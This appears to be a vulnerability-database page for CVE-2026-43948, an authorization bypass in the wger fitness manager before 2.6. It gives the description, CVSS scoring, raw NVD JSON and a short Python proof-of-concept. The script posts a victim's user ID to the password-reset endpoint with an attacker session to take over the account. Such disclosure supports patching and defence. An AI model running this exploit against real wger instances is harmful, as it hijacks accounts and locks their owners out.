Security Vulnerability Report
中文
CVE-2026-43948 CVSS 9.9 CRITICAL

CVE-2026-43948

Published: 2026-05-12 22:16:35
Last Modified: 2026-05-13 16:16:53

Description

wger is a free, open-source workout and fitness manager. Prior to 2.6, the reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently. This vulnerability is fixed in 2.6.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

wger < 2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "https://example.com/reset_user_password" victim_user_id = 42 # ID of the victim with gym=None # Attacker's session (User must have gym.manage_gym permission and gym=None) attacker_session = { "sessionid": "attacker_cookie_value_here" } # Exploit payload payload = { "user_id": victim_user_id } # Send malicious request to reset password # The vulnerability logic: None != None evaluates to False, bypassing the check response = requests.post(target_url, cookies=attacker_session, data=payload) if response.status_code == 200: print("[+] Exploit successful!") # The new plaintext password is returned in the HTML response body print("[+] Response snippet:", response.text[:500]) else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43948", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:35.197", "lastModified": "2026-05-13T16:16:53.397", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "wger is a free, open-source workout and fitness manager. Prior to 2.6, the reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently. This vulnerability is fixed in 2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm", "source": "[email protected]"}, {"url": "https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}